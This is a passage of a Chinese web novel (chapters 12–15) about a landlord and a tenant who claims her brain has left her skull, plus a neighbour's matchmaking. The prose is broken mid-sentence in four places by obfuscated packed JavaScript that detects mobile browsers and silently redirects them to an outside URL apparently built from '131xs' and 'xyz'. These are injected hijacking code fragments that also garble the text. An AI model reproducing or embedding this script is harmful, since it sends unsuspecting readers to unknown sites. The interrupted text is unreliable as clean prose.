于是最终辛远只能沉默地把手机还给岳矢。 顺便反思了一下自己怎么会对个女性谈论体重。 这可是现代社交中的大忌之一。 能与之相媲美的大概只有对着成年女性说年龄,对着青春期孩子说别人家孩子,以及对着中老年男性说秃头。 12. 12 ☆、远程传输 过了一会儿,消化完“虽然没脑子,但这真的是个人类”以及“自己可能也被影响得说话不过脑”等事实后,辛远又问: “常言说,吃啥补啥。 “你没了脑子后,会特别……渴望吃脑花吗? “尤其向往吃人脑?” 岳矢: “不要迷信。 “无论吃下什么东西,都会进入胃里被消化,不会以其原始形态出现在相关部位。 “所以,有脑子的人吃猪脑不会变得更聪明。 “吃核桃也不会。 “没脑子的我吃了猪脑后,我的颅腔内依然空空荡荡,并不会增加哪怕一根血管。 “不过我必须承认,我曾产生过与你相似的想法,并实际尝试过。 “但连续三天每天吃一副脑花,除了让我之后好些天一想起脑花就反胃外,没有任何效果。 “我对人脑没有丝毫异常食欲。 “在我吃猪脑吃反胃的那些天,我看到人脑图片也同样会产生反胃感。” 说着岳矢抬手摸了摸自己的脑袋。 然后在辛远骤然警惕起来的瞪视中,她又将手放下,说: “如果你已经完全相信‘我丢失了脑子、正在找脑子’这件事,不再把这当作你的幻觉,我并不用反复给你看证据。” 辛远: “合着我两次看你的空颅腔都是我自找的? “要是在你第一次说起时我就接受了你失去脑子这件事,你就不会对着我扯开头盖骨?” 岳矢: “应该还是会至少扯开一次吧。 “如果你完全不看证据就表达了相信,我会觉得你在敷衍我。” 辛远: “我不懂上班,所以你说上班不用脑子我也只能相信。 “但我与人沟通的理论知识和实践经验还是很丰富的。 “我确定,你这种遣词造句,还有与我的问答,必须用到大脑。 “科学地说,没了大脑你应该从根本上失去语言能力、对外界信息无法做出任何反应,也无法行走。 “顶天了大概只能瘫在地上维持呼吸心跳。 “确实,人失去大脑后,身体还会剩下一些基础的功能,所以对于‘脑死亡后人算不算死亡’才会有争议。 “但可以肯定的是,没了大脑的人类基本等于不会动弹的摆件。 “上世纪有一段时间用脑叶白质切除术来治疗精神病。 “那还不是摘除整个大脑,只是破坏一小点。 “而结果却是,做了那个手术的人大量变成了白痴。 “别说像你这样跟人交流,就光是坐着不动,其他人也能看出这人的不正常。” 岳矢: “其实我也思考过这个问题。 “在思考的同时我还思考了我为什么能‘思考’。 “我的看法是,我的大脑离家出走后,并没有完全断开与我连接。 “就像我把我的头盖骨从我头顶扯开后,只要我一松手,头盖骨又会完美地、没有丝毫偏差地回到原位。 “我认为在特定条件下,我的大脑也能这样完美回归。 “而能实现完美回归,就意味着我的大脑以及头盖骨,在脱离我期间,与我依然有联系。 “可以认为是,我与暂时脱离我的它们之间还存在连接线。 “正是这连接线让我在大脑离开我的情况下,依然能部分使用大脑的功能。 “相当于一条网线吧。 “我身体接收到信息后,通过这网线将信息传输给远处的大脑。 “大脑处理完信息得出结论、指令后,又再通过这网线将它们传输给我的身体。 “于是我就能表现得和正常人差不多了。 “但毕竟一切信息处理都得通过网线,有时信号不好,或者数据量太大,处理过程就会出现问题。 “这时我就会表现得迟钝、傻乎乎、不够正常人等。” 辛远: “你这份思考相当深入,我都没想到还能这么理解。” 岳矢: “因为你刚刚才真正接受我没脑子的事实,自然来不及深入思考。 “我是从发现自己丢失了脑子后就开始想这事了。 “一天思考一点,持续思考几十天后,当然多少有点成果。” 辛远: “你具体是什么时候发现自己没了脑子的?” 岳矢: “就在与你见面之前的一周。 “具体地说是我与前房东闹翻的第二天。 “那一天在晚上入睡前我的脑袋感觉还和往常一样。 “而第二天早上醒来,我就突然觉得脑袋好轻。 “我下意识去摸脑袋,接着莫名感觉,我可以揭开我的头盖骨。 “然后我就揭开了。 “再之后我便在镜中第一次看到了我的颅腔。 “要看清还怪不容易的。 “我用了两面镜子才拼凑出合适的观察角度。 “不像给你看这么方便。” 辛远: “……” 岳矢: “你有空帮我拍一段我颅腔的视频吗? “我自己总是拍不好。” 辛远不想接这个茬,于是切换话题: “请问,除了我之外,你还给其他人看过你的颅腔吗?” 岳矢: “没有。 “目前,只有你与我自己看过。” 辛远: “为什么? “我是说,那天你与我只是第一次见面。 “顶多你提前从赵阿姨那里知道了一些我的情况。 “但本质上,当时你与我就只是陌生人。 “你为什么会敢于给我看这么一个大秘密呢? “如果说你根本不把这当作秘密、不觉得需要隐藏它,那么你失去脑子一个多月来,又怎么会只让我一人看到?” 岳矢: “不知道。 “我见到你、从你身上闻到我脑子的气味时,就感觉可以给你看。 “感觉在你面前这不需要保密,只需要烦恼如何让你相信。 “但面对其他人时,我感觉不需要给他们看。 “并不是出于保密意识,而就只是感觉他们没必要知道。 “反正知道之后他们也不能帮我找回我的脑子。” 辛远: “那我也不知道能去哪儿给你找回脑子啊。 “你说我与你的脑子相遇过、近距离接触过,但那天在见到你之前,除了涮火锅的猪脑花外,我真的没见过任何脑子。” 岳矢: “没关系。 “刚失去脑子时我有点慌,但现在我并不着急找回脑子。 “我已经习惯了现在这样没脑子的生活。 “甚至开始觉得,没脑子的生活比有脑子的更轻松愉快。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171297|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我现在发现,生活中的很多事情根本没有思考的必要。 “很多思考除了自寻烦恼外,并无价值。 “我现在寻找我脑子的最大理由是,担心它在外被别人或别的动物当脑花吃掉。 “也不知道它孤零零一个脑子,没脚没手的,怎么活动,怎么避雨,用什么补充能量。 “我查到有研究说大脑会消耗人体百分之二十到三十的能量。 “我相信正如大脑会远程传输给我思考结论,我身体吸收的能量应该也有一部分远程传给了大脑。 “但有传到百分之二十以上吗? “失去大脑后,我确定我的食量是变小了的。 “再算上传输途中可能发生的能量损耗,于是,我那在远方的大脑,能量还充足吗?” 辛远感觉岳矢的这份忧虑很有道理。 不过辛远更担心一个脑子在外蹦蹦跳跳,会吓到无辜路人。 岳矢: “我说的这些应该都是我的脑子远程传输给我的思考结论。 “但可能是因为思考的过程很复杂,所以我的脑子只传了结论来,省略掉了过程。 “或者它其实传了过程,但中途发生数据丢失,导致我没能接收到。 “总之,结论应该是可信的。 “我的脑子完全没必要骗我不是吗?” 辛远: “你的脑子都已经抛下你流浪到不知何处去了,你还这么信任它?” 岳矢: “仿佛对渣男痴心不悔的恋爱脑少女? “这好像是绝症? “那就不用指望治疗了。” 辛远: “……除了我之外,你还在其他人身上闻到过你脑子的气味吗?” 岳矢: “没有。 “这可能也是我感觉没必要告知其他人我没脑子事实的原因。 “是我的脑子先判断你可信、在你身上留下它的气味,我才一见面就对你产生了信任感。” 辛远听着觉得慎得慌。 辛远: “有没有可能你的脑子在其他人身上也留下过气味,只是因为你没有及时与那些人碰面,所以他们身上的气味在被你注意到之前便消散了?” 岳矢: “也有可能。 “这方面我唯一的经验是你。 “当我注意到你身上的气味时,你与我的距离大概百多米。 “宽松一点,按两百米算吧。 “自我丢失脑子后,与我距离近到这个程度的人,数量其实也不算少。 “但都集中在公司、租房,以及二者之间的路线上。 “我一直没有再闻到可能说明,我的脑子活动时避开了这些区域。 “它不想被我找到。 “不想回到我的颅腔内。 “那一天我之所以能在你身上闻到它的气味,大概是因为我加班完回家的路上突然特别想吃一家店的东西,所以绕路来到这附近。 “到了那家店后,我突然意识到这店的位置与我准备新租的房子很近。 “于是我临时决定吃完东西后顺便亲眼看看周边环境。 “如果运气好你在家,还能顺便提前跟你谈租房的事情。 “这个行程并不在我脑子预计的范围内。 “甚至在我走出公司、产生想吃东西的念头之前,可能我的脑子已经与你完成了相遇。 “所以它才没能避开。” 13.13 ☆、只是空颅腔而已 辛远: “如果它是刻意避着你,事情就难办了。 “你有任何寻找它的计划,它都会第一时间知道。 “甚至连你的计划都是它安排的。 “它可以非常从容地给你与它自己分别安排两条绝不相交的路线。 “只有当你摒弃思考、随便乱走时,才有可能打乱它的计划、与它实现偶遇。 “但不思考地乱走,就意味着能否相遇全凭运气。 “只要你的脑子距离你足够远,你与它偶遇的几率就会无限低。” 岳矢: “应该距离不至于太远。 “因为我与我脑子的连接线不能无限延长。 “长过一定限度后,它无法传递思考结论给我,我无法传递能量给它。 “然后我与它便都会失去行动能力。” 辛远: “你知道这个距离上限是多少吗?” 岳矢: “不知道。 “可能我的脑子已经测试出来了,但它并没有把这个结论告诉我。 “它只告诉我‘有这么个上限,所以不用担心它会抛下我跑去天涯海角’。” 辛远: “你感觉你的脑子它对你是善意还是恶意的?” 在把这个问题问出口的同时,辛远自己反应过来: “好像这问题没什么意义。 “因为这个善恶意的结论也是它告诉你的。” 岳矢: “它告诉我的结论是‘善意’。 “所以至少说明它并没有正面与我发生冲突的意思。 “它说它只是因为觉得长期待在小小的颅腔中,很憋闷,所以出去跑跑跳跳。 “而当它享受过广阔的自由之后,就更不愿回到憋闷的颅腔内了。 “从另一方面说,如果我的脑子对我有恶意,它完全没必要一边对我示好,一边暗地里谋划伤害我。 “因为它想伤害我非常简单。 “一个指令就能让我跳楼、跳河、割腕、上吊等。 “它可是我的脑子啊。 “理论上,我的一切行动都受它控制。” 辛远: “也对。 “只要它还需要你的身体给它供能,它就肯定希望你健康、能吃能睡。 “而以后,如果它找到了其他能完全取代你身体作用的供能方式,它只需要彻底远离你、不再管你、让你的身体失去活动能力、自然死亡即可。 “也用不上额外刻意做什么去伤害你。 “它现在应该已经找到了一些其他供能方式,虽然还不能彻底取代你的身体,但已经能弥补远距离传输中的能量损失,且还有剩余。 “所以它离开后你的食量才会不增反减。 “所以它才能这么乐不思蜀。 “但凡它能量不足、陷入饥饿状态,它应该早就乖乖回到你颅腔内了。 “至少回来忍着憋闷充几天能、休养一下,然后再重新出发。” 岳矢: “我的脑子判断,应该不存在完全脱离我身体的供能方式。” 辛远: “身体之于脑子,就像原装充电器、充电线? “不是不存在替代品,但原装的一定是效果最佳、损害最小?” 岳矢: “不,比那个的差距更大。 “不同的人可能相当于不同的手机操作系统,都有其专属的充电逻辑。 “有些人相互之间操作系统会比较相近,相当于同血型那种,但依然无法实现有效的替代充电。 “可能只有达到骨髓匹配的那种相合度,才有作为替代品的几率吧。 “但也只是几率,而替代效果也许能达到五成就算奇迹了。 “毕竟,大脑远比骨髓更精密很多。” 辛远: “那你接下来就打算这么……把脑子外置地生活?” 岳矢: “不然呢? “脑子找不回来我也没有办法呀。 “这个事情报警,请警察们耗费大量人力去帮我找,好像也不太对。 “公开到网上发寻脑启事就更不对了。 “会被不信的人嘲笑。 “也会让信的人恐慌。 “还会让半信半不信的人因为理不清其中的逻辑而怀疑世界不唯物了。” 辛远呢喃: “原来你能理解这是一件容易引起恐慌的事情啊…… “我还以为这就像你手持白额高脚蛛一样,你体会不到其他人对大蜘蛛的恐惧呢。” 岳矢: “让少数人知情我可以慢慢解释。 “一旦进入公开传播领域,便必然会出现谣言。 “而且无数人参与的谣言演化速度,必然会远远大于我一个人的解释速度。 “最终成为都市恐怖怪谈。 “比如,有吃人脑的怪物在城市中潜伏着。 “又比如,出现了一种丢失脑子的怪病、会人传人。 “以及,有人脑在满大街流窜,引诱其他人吃掉它,吃掉后就会成为它的傀儡。” 辛远: “停。 “既然你没打算公开传播此事,就不用设想谣言形态了。 “尽量让它只你知我知吧。” 岳矢转头看向开着的门,说: “我们刚刚说话期间,总共有三个人从门口路过。” 辛远: “没事。 “我注意着他们的脚步声的,都没停顿。 “我俩说话的声音不大,他们顶多能听到有交谈声,但只匆匆路过的话,基本不可能听清具体字句。 “这老房子的隔音虽然称不上好,但也没有非常差。 “毕竟建房的材料还是很扎实的。” 因为时不时就会有租户找辛远咨询、续约、看房什么的,所以只要辛远在家且处于可待客的状态,他几乎都是开着门。 租户们习惯了如此,自然不会对开着门的辛远家有多少探究欲,也基本不关心辛远又在跟哪位租户谈什么。 岳矢: “你会帮我保守这个秘密吗?” 辛远: “……你告知我这个秘密时可没询问过我的意见。” 岳矢: “我没脑子嘛。 “尤其第一次见到你时,我都还不太适应没脑子的自己,做出无脑的事情自然是情理之中。” 辛远简直不知道该不该跟她计较。 岳矢: “那我还可以继续租你的房子吗?” 辛远突然反应过来: “所以你选择在签完续约合同之后而不是之前再次对我证明你没脑子的事实,是打的什么主意? “是不是担心签之前告知我会拒绝续约?” 岳矢: “可能我的脑子是这么考虑的吧。 “但我的身体只是执行而已。 “没了脑子后,我的身体是没有想法,也不会算计人的。” 辛远: “少推卸责任。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175428|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “即使处在外置状态,那也是你的脑子。 “它做出的决定就也是你需要负责的范围。 “它算计人就等同于你算计人。” 岳矢: “好吧。 “那么对于刚刚签完的续租合同,你要毁约吗?” 辛远: “……我当包租公这么些年,拒绝续约的次数很多,但还从来没有提前毁约的。 “一次也没有。 “且不打算在你身上破例。 “所以,既然已经签了续约合同,那就允许你继续在这里住三十天。 “至于三十天之后要不要再续约……” 岳矢: “我懂。看我的表现。” 辛远欲言又止了一会儿,最终只再次确认: “你真的不会伤人吧?” 岳矢: “除开脑子不肯回家外,我其他各方面都只是普通人。 “而且是没有锻炼习惯、有些亚健康的普通人。 “只要你别被自己的幻想吓得手脚发软,你跟我打架肯定是我输。” 辛远: “我干嘛要跟你打架? “不对,重点是,什么叫‘我的幻想’? “我是被你的空颅腔这一客观事物吓到的。” 岳矢: “但一个空颅腔有什么可怕的呢? “它不会咬人,不会喷出毒气,不会射出刀子。 “它就只是空空荡荡地待在我的头颅内,对你没有任何威胁。 “你为什么要害怕它?” 辛远沉默。 感觉这厮说的还怪有道理的。 要是换个爱好别致的人看到岳矢揭开头盖骨那一幕,指不定还会见猎心喜、视为珍宝。 辛远起身赶人: “行了行了,合同也签了,钱也交了,接下来请你离开我家,该干什么干什么去吧。” 岳矢刚走出辛远家门,另一个也要续约兼交房租的租户便走进了辛远家。 辛远常年有二十多套房子处在出租状态,每户的合同都是三十天一续,房租也是严格按三十天一收,所以经常会有一些人的续约时间撞到一起。 辛远一般要求续约尽量当面进行。 因为辛远想要观察租户续约交钱时的神情,他能从中判断出一些他需要的信息。 辛远表示,签约交钱时的神情与日常碰面随意点头打招呼时的神情是不一样的,两相结合更有参考价值。 如果租户某个月只能线上续约,辛远要求租户给出能说服他的理由。 ——比如续约日期前后好几天连续加班根本离不开公司什么的。 租户们有时嫌弃辛远的这一要求属于没事找事,但也愿意配合。 正好现在诈骗太多,当面处理能安心些。 反正辛远这人比较宅,多数时间都在家,要找到他很容易。 尤其上午十点到下午两点这个区间去找,辛远不仅在家,而且每周至少有六天都处于大门敞开的迎客状态。 而下午两点到晚饭前,如果气温不冷不热、阳光舒适,辛远则多半会自带躺椅待在小区院子里。 这个时间段内,租户们只要站在自己住处的阳台上往外一看,就能看到辛远与一群中老年聊得和谐又融洽。 飘散着让社畜们羡慕的退休悠闲气氛。 租户们愿意配合的另一个原因是,他们也觉得有必要在续约时面对面观察一下房东的神情。 有利于他们判断接下来会不会涨房租、增加新规矩。 14.14 ☆、中老年们的热情牵线 辛远: “那么问题来了。 “你们确定你们能判断?” 租户们: “既然你能,为什么我们不能?” 辛远: “我是专业的。 “你们是吗?” 辛远自称专业真不是说大话。 他高中时就定下了“当个包租公”这一人生目标,于是辛远大学学的是人力资源专业。 而刚好,离他家很近的那所全国前十大学里的此专业能排到全国前三。 所以辛远大学期间完全能够频繁地两边跑。 一边在学校学习理论知识,一边拿他楼里的租户们当实践材料。 进而辛远就琢磨出了能让他的楼(公司)和谐发展的租户(员工)筛选(招聘)标准。 当时的租户们: “我们觉得你这个学习逻辑有点不太对。” 当时还是大学生的辛远诚恳请教: “哪里不对? “我觉得我的实践与课本理论对得上啊。 “我考试成绩也挺不错的。” 当时的租户们: “……你的专业课老师知道你把课本知识用在这个方向吗?” 拿了奖学金的辛远: “大学老师有几个会关心学生课堂之外在干什么啊。 “尤其我一开始就定下了不会考研。” 当时的租户无法拒绝被辛远有些生疏地当作实践专业知识的材料。 现在的租户自然更无法拒绝辛远非常熟练地拿人力资源管理那一套来对待他们。 辛远: “其实我也没有照搬课本知识。 “毕竟不少东西确实不完全适用。 “不过有些核心方法真的相通。 “以我的几乎所有租户与小区其他居民的友好相处状态为证,我这法子可行。 “要不是我认识的几个包租公包租婆都对我的管理方法嗤之以鼻,我是很乐意与他们分享经验的。” 辛远一般是在每份合同到期之前七天给租户发提醒。 如果是辛远已单方面决定不续约的对象,就提醒其合同到期当天必须搬走。 如果是辛远认为可以续约的对象,就提醒其确认是否需要续约,如需要,则最迟本次合同到期当日来签续约以及交房租。 偶尔辛远也会遇到一时交不出房租的租户,辛远会视情况立刻赶人,或者宽限一段时间。 如果是本来应该有钱,但因为吃喝玩乐导致透支了的家伙,辛远一律合同到期当天就把人赶走。 哪怕此人第二天就能拿到工资续上房租,辛远也不会允许。 差一天就是差一天,就是失约,就是没把房租当回事,就是觉得他这个房东可以糊弄。 总结来说就是,不再符合辛远对租户的要求。 这不是钱的问题,完全是态度问题。 没得商量。 不肯走? 没关系,辛远有长期合作的、技术高度纯熟的、关键是膀大腰圆的搬家工人。 保证两小时内就把这位前租户的所有东西都放大街上去。 且基本可以保证所有东西都无损。 偶尔损坏一小点,辛远都会痛快赔偿。 一般只有当对方确实是遇到了意料之外的困难,且在合同到期之前主动向辛远说明,辛远才会允许其延迟交房租,可以先再续签一次租房合同。 但也最多只允许延迟一个合同周期,即三十天。 如果在新的租房合同到期之前对方没能把两个月的房租付清,那么辛远也只能表示遗憾,请对方搬走。 这就完全是钱的问题了。 辛远希望只与租户维持单纯的金钱关系。 他并不想救济谁。 辛远还肩负着“给自己那一家子败家玩意留后路”的责任,可不敢太把钱花在外人身上。 不是辛远吹,如果说几十年后他们老辛家只有一人还留有养活一家子的资产,那大概率只能是他了。 其他人都只有完全不靠谱与不完全靠谱的区别。 在岳矢之后来找辛远交房租的租户名叫班玖,已经在辛远这里住了好几年了。 这是一个有点迷惘的人。 班玖大学毕业刚找到工作时,就租在了辛远这里。 好几年过去,班玖在那个公司站稳脚跟,小有存款,不打算跳槽,且有升职趋势,其实早就能买房搬走。 但班玖对于要不要定居在这个城市始终心中没有定论。 班玖只能确定自己不想回老家。 但无法确定自己想不想去其他城市。 可要说班玖对其他城市有多向往吧,他又丝毫没有表现出到处走一走看一看的兴致。 工作之外的时间班玖基本和辛远一样宅。 总是一副就想在家里生根的架势。 小区里的中老年们都说: “小班这样的,就适合结婚。” “等有了女朋友、开始思考结婚养孩子时,自然就会很想要有自己的房子。” “生活也会更有方向。” 班玖觉得这种说法很有道理。 还曾与热情中老年们介绍的女生相亲。 然后…… 既然班玖至今还住在辛远这里,那相亲自然就是没成的。 班玖对热情的中老年们表达愧疚: “我觉得带着相亲的心态去跟女生见面,感觉非常怪。” 中老年们: “你就是不习惯。” “多相几次就好了。” 班玖连连拒绝: “不行不行,我觉得太尴尬了。 “每次相了之后我连在公司里跟单身女同事相处都会觉得有点别扭。 “我还是自然等待我的缘分吧。” 但他长期公司住处两点一线,去哪儿碰缘分? 单位同事? 还是地铁上偶遇的谁? 或者小区里的适龄女青年? 首先,划掉同事。 因为班玖说: “看到同事就会想到工作。 “我希望工作时间之外,我与同事保持犹如陌生人的距离。” 然后,划掉地铁偶遇。 班玖在地铁上从来全程带着降噪耳机,木着一张六亲不认的脸。 他不会去主动搭讪别人,别人看到他那副样子也不可能主动搭讪他。 最后,小区内…… 现有住户里不用指望,要么已名花有主,要么虽然单身但与班玖不来电。 ——后者中老年们已经尝试撮合过了。 所以,只有看辛远楼内不定期出现的新租户有没有合适的。 比如,光说年龄,新来的岳矢就很合适嘛。 正好岳矢也是单身。 可惜,就在岳矢搬来的第一周,中老年们便发现岳矢与辛远更互有好感。 辛远: “? “不是,我跟岳矢……” 相信自己眼光的中老年们根本不听辛远的解释。 尤其辛远还支支吾吾根本说不清为什么只要岳矢从他面前经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185422|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,他就一定会盯着人家看。 辛远对其他女租户可从来没有这样的表现。 辛远:那是因为其他租户,无论男女,都没那么重度惊吓过我啊。 但因为小区内除了王阿姨外,其他人好像一直都没发现岳矢就是引发辛远惨叫事件的另一个当事人,辛远考虑到岳矢的名声与安宁,也不好多说,于是表现在外就显得…… 他的解释确实支支吾吾。 辛远对知情者王阿姨抱怨: “我真的冤。” 王阿姨安慰: “你是一个为人着想的好人。 “当好人是要受点委屈的。” 辛远: “阿姨,你这个思路不太好。 “会让人不想当好人。 “一个总让好人吃亏的社会也是不健康的。” 王阿姨: “这是一道门槛。 “一点委屈都受不了的人,确实也不配当好人。 “老话说‘吃亏是福’‘好人有好报’,有人以为这是自我安慰、阿Q精神。 “其实啊,这里面只是存在一点时间差。 “有时候,为了获得更伟大的利益,就是要熬过前期暂时的委屈。 “熬不过就出局,熬过了就能迎来柳暗花明。 “让好人一辈子都吃亏、都无法翻身的社会确实是不健康的。 “但如果是让好人在吃一点亏后迎来很多倍利益的社会,则是有希望的。” 辛远: “怪哲学的。” 王阿姨: “人生本就处处都是学问。 “只看你想不想学了。” 今天,见到班玖与岳矢正好擦肩而过,辛远想起来小区中老年们曾经的牵线考虑。 之前一个月,辛远一直说服自己揭头盖骨、空颅腔什么的,都是他的幻想。 以为岳矢实际上就只是一个无辜受到惊吓的普普通通女青年。 比起被中老年们误认为他与岳矢有发展的可能来,辛远对于岳矢与班玖凑成一对是乐见其成的。 反正辛远坚信他自己与岳矢没可能。 哪怕在辛远信了岳矢是普通人、正常人的时候,心理阴影也不是靠自我催眠就能彻底消去的。 辛远以前对自己恋爱对象的形象没有具体想法,他那几次持续时间不长的恋爱也主打的是个随便。 但遇到岳矢后,辛远终于列出了明确的第一条: 不能让他感到害怕。 当然,那个不是当前的重点。 此时此刻辛远最担心的是:在中老年们的积极牵线下,班玖不会已经对岳矢产生了好感吧? 哪怕岳矢的体检报告显示她像个正常人,但想想看,如果班玖与岳矢真的结婚,然后某天半夜醒来,班玖一扭头,看见岳矢的头盖骨与她的脑袋分家。 她那空荡荡的颅腔正对着班玖,仿佛一个无底深渊…… 辛远简直替班玖心惊肉跳。 在班玖签字转账时,辛远尽可能委婉地询问: “你觉得岳矢这人……怎么样?” 班玖点击“确认”,然后疑惑抬头: “岳矢是谁? “不是,你这问句,怎么这么耳熟呢? “难不成你也参与进了我们小区中老年团体的红线队伍? “我真的不想再相亲了。 “我的尴尬症比较重。” 辛远放下担心,没什么表情地说: “岳矢就是现在住我对门的那个。 “你刚进我门时,她正在对面开门。” 15.15 ☆、眼神就是不一样 班玖: “哦哦,她啊。 “不熟。 “你干嘛突然问这个? “别真是捣鼓相亲吧?” 辛远: “确实有中老年想给你和她牵个线。 “你没发现吗? “我都听他们提过好几次了,他们总不可能没在你这个当事人面前念叨过吧?” 班玖: “可能念叨过? “但我已经习惯了对这方面的信息左耳进右耳出。 “只应付几个‘谢谢’‘不用了’‘我还有事要忙’之类的回答。 “你也帮我劝劝他们,别再操心我的婚姻问题了。 “我觉得自己现在这样挺好的。 “人也不是必须得结婚对吧?” 辛远: “对。 “不过人最好还是有自己的房子。 “毕竟租房的话,哪天我看你不顺眼,可能就赶你了。” 班玖: “可是买房…… “先不说我会不会想换个城市住的问题。 “光是选房子、装修就是一大堆的事情。 “完全提不起那股干劲。 “你的房子卖吗?” 辛远: “不卖。 “别惦记我唯一的家底。 “而且这老房子这么陈旧,你不觉得新房子更赏心悦目吗?” 班玖: “我对房子的要求其实不高,住着舒服就行。 “我觉得住你这儿就挺舒服的。” 辛远: “你也只在我这儿单独居住过吧? “再之前你是住学校宿舍、住家里。都是与其他人一起住。 “也许换个新房子你会发现,更舒服。” 班玖: “你这是赶我的意思?” 辛远: “当然不是。 “站在我的角度,你这样守规矩的熟客肯定让我很省心。 “但站在你的角度,明明有能力买房,却一直租房住,感觉不利于你的人生。” 班玖: “其他人再怎么站在我的角度,难道有我这个当事人更清楚我自己的需求吗? “难道你们非得让我承认‘是的,我不了解我自己,你们才更了解’‘你们说的比我想的更对’?” 辛远: “这么说的话,好像是太自以为是了。” 班玖: “不过有时候我也确实觉得,我这么混日子不太行。 “完全没个未来规划,过一天算一天的。 “好像是应该振作些。 “不能光是因为看着存款数字每个月都有涨,就感觉已经给未来攒下了底气。 “只是,房子、结婚、养孩子这些公认应该有的操作,又真的比存款数字更有利于我的未来吗? “想不明白,没有定论。” 辛远: “未来本来就没有定论。” 班玖: “所以,我就先只做能让现在的我感觉舒适的事情吧。 “等哪天现在的生活让我感到不满时,再来改变。 “唉,人生在世,真是有很多烦恼。 “想得越多,烦恼越多。” 被班玖这么一说,辛远突然感觉岳矢的“不带脑子生活舒适”论竟然颇有几分道理。 进而就感觉,岳矢与班玖更多了一点般配的意味。 辛远: “岳矢说,她老板特别喜欢她不带脑子工作的风格。 “你工作时可以不用脑吗?” 班玖: “这要看你怎么定义‘用脑’。 “很多工作多数时候是记下老板、客户的要求,然后在已定好的规则范围之内做事。 “理解要求、理解规则肯定是要想一想的。 “但除此之外,基本不需要自己的主见。 “甚至最好不要有主见。 “反正,老板让你怎么做,你就怎么做。 “即使在开始做之时你发现这做法有问题,你也最好只当自己没发现,继续做就是。 “直至老板自己看出问题让你改。 “或者直至问题爆发出来,你背锅。 “你要是早早地指出问题,很多老板还要认为你在挑衅他的权威。 “后果经常比出问题后的背锅更严重。 “当然,眼见着前方有锅还直直走过去背的前提是,那锅顶多是挨骂、扣奖金,不至于坐牢。 “如果问题大到违法了,也不用对老板指出,而最好赶紧辞职。 “如果能收集到足够的证据,也可以在辞职后把老板告了。” 辛远:这种程度的思考,好像确实把脑子外置、只远程断续接收一些结论也够用了。 辛远又问班玖: “那你觉得,把这种工作思路放在生活中会是什么效果? “就是在生活中不去想什么‘未来’‘人生价值’‘生存意义’等哲学问题。 “而只列出每一天需要做的事情,然后做。 “做完了就发发呆、玩玩手机什么的。” 班玖: “这不就是我现在的生活状态嘛。 “我觉得挺好的。 “虽然有时会感觉有点空虚。 “但每次我为了消除空虚而去做了更多事情后,我又觉得,空虚挺好的。 “闲着,什么也不用想、不用做,真挺好的。” 辛远: “岳矢跟你有相似的人生态度。” 班玖口锋一转: “其实吧,虽然我自己这么生活我觉得很轻松,但如果我的另一半也和我一样,我肯定会觉得没滋没味。 “我觉得我可能需要一个充满活力、满心热情的伴侣。 “不能是一个跟我一样丧里丧气的。” 辛远: “你觉得充满活力的人能看上你吗?” 班玖: “好问题。 “所以活该我单身嘛。” 在信了岳矢是真无脑而不是他幻觉之后几天,辛远每次遇见岳矢时都以看妖怪的眼光看她。 但每一次辛远却都好像只是更理解了自己之前为什么能说服自己空颅腔只是幻觉。 因为只要岳矢别揭开她的头盖骨,她怎么看都只是一个普普通通的女青年。 可能比起与她同年龄段的其他女青年来,岳矢显得比较沉默,不太有活力,对人对事都缺乏热情,但在当代年轻人群体中,这也算不上太特殊。 班玖就比她更丧呢。 最起码岳矢偶遇热闹时,会凑上去瞧一瞧。 班玖那家伙路遇热闹基本都是直接绕道走。 王阿姨注意到了辛远又开始频繁地打量岳矢,好奇: “你这是在放下了与岳矢初遇时的恐惧后,开始觉得岳矢是个好姑娘了? “打算追求?” 辛远: “您这个年龄的人,是不是只要发现年轻男女多看对方几眼,就觉得两人之间有点什么?” 王阿姨: “实际上,我们在发现不是夫妻也不是亲戚的中老年男女相互多看对方几眼时,也会觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191366|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人之间有点什么。 “要是没点事,两人相互看什么看?” 辛远: “不是亲戚也可能是朋友嘛。 “如果是多年的老朋友,那相互之间看一看也很正常吧?” 王阿姨: “男女之间的老朋友? “呵呵呵呵呵。” 辛远: 